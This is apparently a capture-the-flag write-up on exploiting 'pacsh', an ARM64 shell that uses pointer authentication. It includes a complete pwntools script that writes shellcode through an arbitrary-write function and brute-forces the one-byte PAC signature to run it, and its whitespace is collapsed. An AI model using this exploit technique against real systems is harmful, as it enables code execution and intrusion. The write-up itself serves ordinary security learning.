Following indices bases system is used to avoid ambiguity. Whenever element of a collection is referenced by number, 0-based index implied.
Ie, element 0 of list [1, 2, 4, 8, 16] is 1, Element 3 is 8.
When element is reference in explanation with word (first, third...), 1-based system is implied.
Ie, first character of string Hello World! is H, fifth is o.
Solution code was redacted for readability purposes. Due to time pressure during the competition I was using a lot of one-letter variables and questionable code structure.
There are 4 functions: ls, read64, write64, help. Main is a loop that reads address from user and calls function at
that address. General ideal here would be:
Find writeable address;
Write shellcode to that address using write64;
Jump to that address from main loop.
Note that application is using AUTIZA/PACIZA instructions for address authentication.
Some details can be found here: http://hehezhou.cn/isa/autia.html , http://hehezhou.cn/isa/pacia.html . Also ChatGPT did a good job explaining.
In a nutshell, this instructions use top bits of a pointer to sign address. For example:
Address 0x5500000b7c was signed by autiza with 0x01 in top bits.
Address 0x5500000a54 was signed by autiza with 0x78 in top bits.
Address 0x5500000a78 was signed by autiza with 0x29 in top bits.
Address 0x5500000afc was signed by autiza with 0x15 in top bits.
paciza is an opposite operation, it converts 0x01005500000b7c to 0x5500000b7c.
I've build container locally so I can debug:
123456
$ls
Dockerfileld-linux-aarch64.so.1libc.so.6pacshpacsh.crun.sh
$echomytestflag>flag.txt
$dockerbuild.--tagtmp_container
# -p 1337:1337 is port forwarding --privileged required by application (I guess for virtualization)
$dockerrun--rm--namepac_shell--privileged-p1337:1337tmp_container
First step of our plan is to find out address we can write to. Running application several times I can see that addresses of
functions ls, read64, write64 and help have different first byte signature, but otherwise are same: 0x..5500000b7c. This
means that application is loaded to the same address every time.
Not I got memory mapping of the process. Functions are located in the first segment, but its not writable. First writeable segment
I can see is on line 5. That is what we are going to use.
Here is script that generates code and writes it to memory:
1 2 3 4 5 6 7 8 9101112131415161718192021
# function generates assembly to read flag and writes its to the base_addrdefwrite_shell_code(base_addr,write64_addr):# use pwntools shellcraft to create assembly code for reading file flag.txt and then hang thread forever# if process immediately crashes/exists we won't get contents of the flag sent to us over networkcode=asm(shellcraft.cat("flag.txt")+shellcraft.infloop())foriinrange(0,len(code),8):# iterate over code 8 bytes at a time# read next 8 bytes to sendchunk_bytes=code[i:i+8]# pad with 0 (only relevant for the last chunk if number of bytes in code is not mulitple of 8)chunk_bytes+=bytearray(8-len(chunk_bytes))# convert bytes to big endian and then into hexchunk_hex=hex(unpack(chunk_bytes))# instruct target application that we want to execute write64io.sendline(hex(write64_addr).encode())# wait till target application is ready to receive our inputio.recvuntil(b"write64> ")# send address that we want to write too (for each chunk we increase it by i) and value of the chunkio.sendline((hex(base_addr+i)+" "+chunk_hex).encode())# wait till application executed our write instructionio.recvuntil(b"pacsh> ")
Now our code is ready and all is left to do is jump there. But we can't just enter base address into the application: it requires
address to be signed. Signature is only 1 byte, so it can be quickly bruteforce it in a loop.
frompwnimport*context.binary=elfexe=ELF('pacsh')libc=elfexe.libccontext.log_level='warn'# function generates assembly to read flag and writes its to the base_addrdefwrite_shell_code(base_addr,write64_addr):# use pwntools shellcraft to create assembly code for reading file flag.txt and then hang thread forever# if process immediately crashes/exists we won't get contents of the flag sent to us over networkcode=asm(shellcraft.cat("flag.txt")+shellcraft.infloop())foriinrange(0,len(code),8):# iterate over code 8 bytes at a time# read next 8 bytes to sendchunk_bytes=code[i:i+8]# pad with 0 (only relevant for the last chunk if number of bytes in code is not mulitple of 8)chunk_bytes+=bytearray(8-len(chunk_bytes))# convert bytes to big endian and then into hexchunk_hex=hex(unpack(chunk_bytes))# instruct target application that we want to execute write64io.sendline(hex(write64_addr).encode())# wait till target application is ready to receive our inputio.recvuntil(b"write64> ")# send address that we want to write too (for each chunk we increase it by i) and value of the chunkio.sendline((hex(base_addr+i)+" "+chunk_hex).encode())# wait till application executed our write instructionio.recvuntil(b"pacsh> ")# iterate over 0..256 possible signaturesforiinrange(256):remote_server='localhost'remote_port=1337io=remote(remote_server,remote_port)# parse addresses of the functions from the welcome message# Welcome to pac shell v0.0.1# help: 0x34005500000b7c# ls: 0x9005500000a54# read64: 0x2a005500000a78# write64: 0x2f005500000afc# pacsh>io.recvuntil(b"help: 0x")help_addr=int(io.recvline(),16)io.recvuntil(b"read64: 0x")read64_addr=int(io.recvline(),16)io.recvuntil(b"write64: 0x")write64_addr=int(io.recvline(),16)io.recvuntil(b"pacsh> ")# address of writable segment with 0x100 bytes offset as a precautionbase_addr=0x5500012100write_shell_code(base_addr,write64_addr)# append I as a top byte signature to the base addressjumpAddress=hex(base_addr|int("{:02x}000000000000".format(i),16))# send address to the applicationio.sendline(jumpAddress.encode())# read response its either crash info if signature is wrong or flag contentsline=io.recvline()print(line)ifb"Segmentation fault"notinline:# if its not crash info we got the flag - exit loopbreakio.close()